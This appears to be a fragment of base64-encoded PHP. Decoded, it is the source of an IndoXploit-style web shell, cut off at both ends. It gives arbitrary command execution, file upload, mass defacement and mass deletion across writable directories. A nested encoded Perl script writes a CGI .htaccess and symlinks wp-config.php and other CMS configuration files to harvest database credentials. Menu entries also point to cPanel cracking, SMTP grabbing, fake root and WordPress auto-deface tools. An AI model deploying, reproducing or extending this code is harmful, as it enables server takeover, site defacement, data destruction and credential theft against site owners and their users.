ZGlyPSI7DQoJZm9yKCRpID0gMDsgJGkgPD0gJGNfZGlyOyAkaSsrKSB7DQoJCWVjaG8gJHNjZGlyWyRpXTsNCgkJaWYoJGkgIT0gJGNfZGlyKSB7DQoJCWVjaG8gIi8iOw0KCQl9DQoJfQ0KCWVjaG8gIic+JGNkaXI8L2E+LyI7DQp9DQplY2hvICImbmJzcDsmbmJzcDtbICIudygkZGlyLCBwZXJtcygkZGlyKSkuIiBdIjsNCmVjaG8gIjxocj4iOw0KZWNobyAiPGNlbnRlcj4iOw0KZWNobyAiPHVsPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/Jz5Ib21lPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPXVwbG9hZCc+VXBsb2FkPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPWNtZCc+Q29tbWFuZDwvYT4gXTwvbGk+IjsNCmVjaG8gIjxsaT5bIDxhIGhyZWY9Jz9kaXI9JGRpciZkbz1tYXNzX2RlZmFjZSc+TWFzcyBEZWZhY2U8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89bWFzc19kZWxldGUnPk1hc3MgRGVsZXRlPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPWNvbmZpZyc+Q29uZmlnPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPWp1bXBpbmcnPkp1bXBpbmc8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89Y3BhbmVsJz5DUGFuZWwgQ3JhY2s8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89c210cCc+U01UUCBHcmFiYmVyPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPXpvbmVoJz5ab25lLUg8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89Y2dpJz5DR0kgVGVsbmV0PC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPW5ldHdvcmsnPm5ldHdvcms8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89YWRtaW5lcic+QWRtaW5lcjwvYT4gXTwvbGk+PGJyPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89ZmFrZV9yb290Jz5GYWtlIFJvb3Q8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89YXV0b19lZGl0X3VzZXInPkF1dG8gRWRpdCBVc2VyPC9hPiBdPC9saT4iOw0KZWNobyAiPGxpPlsgPGEgaHJlZj0nP2Rpcj0kZGlyJmRvPWF1dG9fd3AnPkF1dG8gRWRpdCBUaXRsZSBXb3JkUHJlc3M8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89YXV0b19kd3AnPldvcmRQcmVzcyBBdXRvIERlZmFjZTwvYT4gXTwvbGk+IjsNCmVjaG8gIjxsaT5bIDxhIGhyZWY9Jz9kaXI9JGRpciZkbz1hdXRvX2R3cDInPldvcmRQcmVzcyBBdXRvIERlZmFjZSBWLjI8L2E+IF08L2xpPiI7DQplY2hvICI8bGk+WyA8YSBocmVmPSc/ZGlyPSRkaXImZG89Y3BmdHBfYXV0byc+Q1BhbmVsL0ZUUCBBdXRvIERlZmFjZTwvYT4gXTwvbGk+IjsNCmVjaG8gIjxsaT5bIDxhIGhyZWY9Jz9kaXI9JGRpciZkbz1rcmRwX3NoZWxsJz5LLVJEUCBTaGVsbDwvYT4gXTwvbGk+IjsNCmVjaG8gIjxsaT5bIDxhIHN0eWxlPSdjb2xvcjogcmVkOycgaHJlZj0nP2xvZ291dD10cnVlJz5Mb2dvdXQ8L2E+IF08L2xpPiI7DQplY2hvICI8L3VsPiI7DQplY2hvICI8L2NlbnRlcj4iOw0KZWNobyAiPGhyPiI7DQppZigkX0dFVFsnbG9nb3V0J10gPT0gdHJ1ZSkgew0KCXVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/Jzs8L3NjcmlwdD4iOw0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ3VwbG9hZCcpIHsNCgllY2hvICI8Y2VudGVyPiI7DQoJaWYoJF9QT1NUWyd1cGxvYWQnXSkgew0KCQlpZigkX1BPU1RbJ3RpcGVfdXBsb2FkJ10gPT0gJ2JpYXNhJykgew0KCQkJaWYoQGNvcHkoJF9GSUxFU1snaXhfZmlsZSddWyd0bXBfbmFtZSddLCAiJGRpci8iLiRfRklMRVNbJ2l4X2ZpbGUnXVsnbmFtZSddLiIiKSkgew0KCQkJCSRhY3QgPSAiPGZvbnQgY29sb3I9bGltZT5VcGxvYWRlZCE8L2ZvbnQ+IGF0IDxpPjxiPiRkaXIvIi4kX0ZJTEVTWydpeF9maWxlJ11bJ25hbWUnXS4iPC9iPjwvaT4iOw0KCQkJfSBlbHNlIHsNCgkJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gdXBsb2FkIGZpbGU8L2ZvbnQ+IjsNCgkJCX0NCgkJfSBlbHNlIHsNCgkJCSRyb290ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLyIuJF9GSUxFU1snaXhfZmlsZSddWyduYW1lJ107DQoJCQkkd2ViID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kX0ZJTEVTWydpeF9maWxlJ11bJ25hbWUnXTsNCgkJCWlmKGlzX3dyaXRhYmxlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSB7DQoJCQkJaWYoQGNvcHkoJF9GSUxFU1snaXhfZmlsZSddWyd0bXBfbmFtZSddLCAkcm9vdCkpIHsNCgkJCQkJJGFjdCA9ICI8Zm9udCBjb2xvcj1saW1lPlVwbG9hZGVkITwvZm9udD4gYXQgPGk+PGI+JHJvb3QgLT4gPC9iPjwvaT48YSBocmVmPSdodHRwOi8vJHdlYicgdGFyZ2V0PSdfYmxhbmsnPiR3ZWI8L2E+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkYWN0ID0gIjxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gdXBsb2FkIGZpbGU8L2ZvbnQ+IjsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCSRhY3QgPSAiPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byB1cGxvYWQgZmlsZTwvZm9udD4iOw0KCQkJfQ0KCQl9DQoJfQ0KCWVjaG8gIlVwbG9hZCBGaWxlOg0KCTxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3VwbG9hZCcgdmFsdWU9J2JpYXNhJyBjaGVja2VkPkJpYXNhIFsgIi53KCRkaXIsIldyaXRlYWJsZSIpLiIgXSANCgk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfdXBsb2FkJyB2YWx1ZT0naG9tZV9yb290Jz5ob21lX3Jvb3QgWyAiLncoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwiV3JpdGVhYmxlIikuIiBdPGJyPg0KCTxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpeF9maWxlJz4NCgk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KCTwvZm9ybT4iOw0KCWVjaG8gJGFjdDsNCgllY2hvICI8L2NlbnRlcj4iOw0KfSBlbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCn0gZWxzZWlmKCRfR0VUWydkbyddID09ICdtYXNzX2RlZmFjZScpIHsNCglmdW5jdGlvbiBzYWJ1bl9tYXNzYWwoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsNCgkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsNCgkJCQkkbG9rYXNpID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsNCgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7DQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgew0KCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+RE9ORTwvZm9udD5dICRsb2thc2k8YnI+IjsNCgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCQkJJGlkeCA9IHNhYnVuX21hc3NhbCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKGlzX2RpcigkZGlyYykpIHsNCgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgew0KCQkJCQkJCWVjaG8gIls8Zm9udCBjb2xvcj1saW1lPkRPTkU8L2ZvbnQ+XSAkZGlyYi8kbmFtYWZpbGU8YnI+IjsNCgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoJF9QT1NUWydzdGFydCddKSB7DQoJCWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtYWhhbCcpIHsNCgkJCWVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsNCgkJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQkJZWNobyAiPC9kaXY+IjsNCgkJfSBlbHNlaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ211cmFoJykgew0KCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOw0KCQkJc2FidW5fYmlhc2EoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsNCgkJCWVjaG8gIjwvZGl2PiI7DQoJCX0NCgl9IGVsc2Ugew0KCWVjaG8gIjxjZW50ZXI+IjsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPlRpcGUgU2FidW46PC9mb250Pjxicj4NCgk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtdXJhaCcgY2hlY2tlZD5CaWFzYTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0ndGlwZV9zYWJ1bicgdmFsdWU9J21haGFsJz5NYXNzYWw8YnI+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4NCgk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5GaWxlbmFtZTo8L2ZvbnQ+PGJyPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+SW5kZXggRmlsZTo8L2ZvbnQ+PGJyPg0KCTx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7Jz5IYWNrZWQgYnkgSW5kb1hwbG9pdDwvdGV4dGFyZWE+PGJyPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nTWFzcyBEZWZhY2UnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz4NCgk8L2Zvcm0+PC9jZW50ZXI+IjsNCgl9DQp9IGVsc2VpZigkX0dFVFsnZG8nXSA9PSAnbWFzc19kZWxldGUnKSB7DQoJZnVuY3Rpb24gaGFwdXNfbWFzc2FsKCRkaXIsJG5hbWFmaWxlKSB7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7DQoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7DQoJCQkJaWYoJGRpcmIgPT09ICcuJykgew0KCQkJCQlpZihmaWxlX2V4aXN0cygiJGRpci8kbmFtYWZpbGUiKSkgew0KCQkJCQkJdW5saW5rKCIkZGlyLyRuYW1hZmlsZSIpOw0KCQkJCQl9DQoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsNCgkJCQkJaWYoZmlsZV9leGlzdHMoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpKSB7DQoJCQkJCQl1bmxpbmsoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpOw0KCQkJCQl9DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7DQoJCQkJCQkJaWYoZmlsZV9leGlzdHMoJGxva2FzaSkpIHsNCgkJCQkJCQkJZWNobyAiWzxmb250IGNvbG9yPWxpbWU+REVMRVRFRDwvZm9udD5dICRsb2thc2k8YnI+IjsNCgkJCQkJCQkJdW5saW5rKCRsb2thc2kpOw0KCQkJCQkJCQkkaWR4ID0gaGFwdXNfbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCWlmKCRfUE9TVFsnc3RhcnQnXSkgew0KCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOw0KCQllY2hvICI8L2Rpdj4iOw0KCX0gZWxzZSB7DQoJZWNobyAiPGNlbnRlcj4iOw0KCWVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+DQoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4NCgk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5GaWxlbmFtZTo8L2ZvbnQ+PGJyPg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+DQoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlbGV0ZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPg0KCTwvZm9ybT48L2NlbnRlcj4iOw0KCX0NCn0gZWxzZWlmKCRfR0VUWydkbyddID09ICdjb25maWcnKSB7DQoJJGlkeCA9IG1rZGlyKCJpZHhfY29uZmlnIiwgMDc3Nyk7DQoJJGlzaV9odGMgPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSVxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueVxuQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpblxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4iOw0KCSRodGMgPSBmb3BlbigiaWR4X2NvbmZpZy8uaHRhY2Nlc3MiLCJ3Iik7DQoJZndyaXRlKCRodGMsICRpc2lfaHRjKTsNCglmY2xvc2UoJGh0Yyk7DQoJaWYocHJlZ19tYXRjaCgiL3Zob3N0c3x2aG9zdC8iLCAkZGlyKSkgew0KCQkkbGlua19jb25maWcgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQoJCSR2aG9zdCA9ICJJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMUpMM1Z6Y2k5c2IyTmhiQzlpWVc1a2JXbHVEUXB2Y0dWdVpHbHlLRzE1SUNSa2FYSWdMQ0FpTDNaaGNpOTNkM2N2ZG1odmMzUnpMeUlwT3cwS1ptOXlaV0ZqYUNoemIzSjBJSEpsWVdSa2FYSWdKR1JwY2lrZ2V3MEtJQ0FnSUcxNUlDUnBjMFJwY2lBOUlEQTdEUW9nSUNBZ0pHbHpSR2x5SUQwZ01TQnBaaUF0WkNBa1h6c05DaVJ6YVhSbGMzTWdQU0FrWHpzTkNnMEtEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MWE5vYjNBdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdmIzTXZhVzVqYkhWa1pYTXZZMjl1Wm1sbmRYSmxMbkJvY0Njc0pITnBkR1Z6Y3k0bkxYTm9iM0F0YjNNdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdmIzTmpiMjB2YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MVzl6WTI5dExuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwyOXpZMjl0YldWeVkyVXZhVzVqYkhWa1pYTXZZMjl1Wm1sbmRYSmxMbkJvY0Njc0pITnBkR1Z6Y3k0bkxXOXpZMjl0YldWeVkyVXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZiM05qYjIxdFpYSmpaWE12YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MVzl6WTI5dGJXVnlZMlZ6TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNOb2IzQXZhVzVqYkhWa1pYTXZZMjl1Wm1sbmRYSmxMbkJvY0Njc0pITnBkR1Z6Y3k0bkxYTm9iM0F5TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNOb2IzQndhVzVuTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1J6YVhSbGMzTXVKeTF6YUc5d0xYTm9iM0J3YVc1bkxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwzTmhiR1V2YVc1amJIVmtaWE12WTI5dVptbG5kWEpsTG5Cb2NDY3NKSE5wZEdWemN5NG5MWE5oYkdVdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdllXMWxiV0psY2k5amIyNW1hV2N1YVc1akxuQm9jQ2NzSkhOcGRHVnpjeTRuTFdGdFpXMWlaWEl1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2ZG1GeUwzZDNkeTkyYUc5emRITXZKeTRrYzJsMFpYTnpMaWN2YUhSMGNHUnZZM012WTI5dVptbG5MbWx1WXk1d2FIQW5MQ1J6YVhSbGMzTXVKeTFoYldWdFltVnlNaTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTl0WlcxaVpYSnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYzJsMFpYTnpMaWN0YldWdFltVnljeTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTlqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdE5HbHRZV2RsY3pFdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmRtRnlMM2QzZHk5MmFHOXpkSE12Snk0a2MybDBaWE56TGljdmFIUjBjR1J2WTNNdlptOXlkVzB2YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pITnBkR1Z6Y3k0bkxXWnZjblZ0TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDJadmNuVnRjeTlwYm1Oc2RXUmxjeTlqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdFptOXlkVzF6TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDJGa2JXbHVMMk52Ym1ZdWNHaHdKeXdrYzJsMFpYTnpMaWN0TlM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5MllYSXZkM2QzTDNab2IzTjBjeThuTGlSemFYUmxjM011Snk5b2RIUndaRzlqY3k5aFpHMXBiaTlqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdE5DNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OTJZWEl2ZDNkM0wzWm9iM04wY3k4bkxpUnphWFJsYzNNdUp5OW9kSFJ3Wkc5amN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2MybDBaWE56TGljdFYyOXlaSEJ5WlhOekxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwzWmhjaTkzZDNjdmRtaHZjM1J6THljdUpITnBkR1Z6Y3k0bkwyaDBkSEJrYjJOekwzZHdMM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnphWFJsYzNNdUp5MVhiM0prY0hKbGMzTXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZWMUF2ZDNBdFkyOXVabWxuTG5Cb2NDY3NKSE5wZEdWemN5NG5MVmR2Y21Sd2NtVnpjeTUwZUhRbktUc05Dbk41Yld4cGJtc29KeTkyWVhJdmQzZDNMM1pvYjNOMGN5OG5MaVJ6YVhSbGMzTXVKeTlvZEhSd1pHOWpjeTkzY0M5aVpYUmhMM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnphWFJsYzNNdUp5MVhiM0prY0hKbGMzTXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZkbUZ5TDNkM2R5OTJhRzl6ZEhNdkp5NGtjMmwwWlhOekxpY3ZhSFIwY0dSdlkzTXZZbVYwWVM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYzJsMFpYTnpMaWN0VjI5eVpIQnlaWE56TG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDNaaGNpOTNkM2N2ZG1odmMzUnpMeWN1SkhOcGRHVnpjeTRuTDJoMGRIQmtiMk56TDNCeVpYTnpMM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnphWFJsYzNNdUp5MTNjREV6TFhCeVpYTnpMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMM2R2Y21Sd2NtVnpjeTkzY0MxamIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RkMjl5WkhCeVpYTnpMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMMWR2Y21Sd2NtVnpjeTkzY0MxamIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RWMjl5WkhCeVpYTnpMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMMkpzYjJjdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkhOcGRHVnpjeTRuTFZkdmNtUndjbVZ6Y3k1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5MllYSXZkM2QzTDNab2IzTjBjeThuTGlSemFYUmxjM011Snk5b2RIUndaRzlqY3k5M2IzSmtjSEpsYzNNdlltVjBZUzkzY0MxamIyNW1hV2N1Y0dod0p5d2tjMmwwWlhOekxpY3RWMjl5WkhCeVpYTnpMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MM1poY2k5M2QzY3ZkbWh2YzNSekx5Y3VKSE5wZEdWemN5NG5MMmgwZEhCa2IyTnpMMjVsZDNNd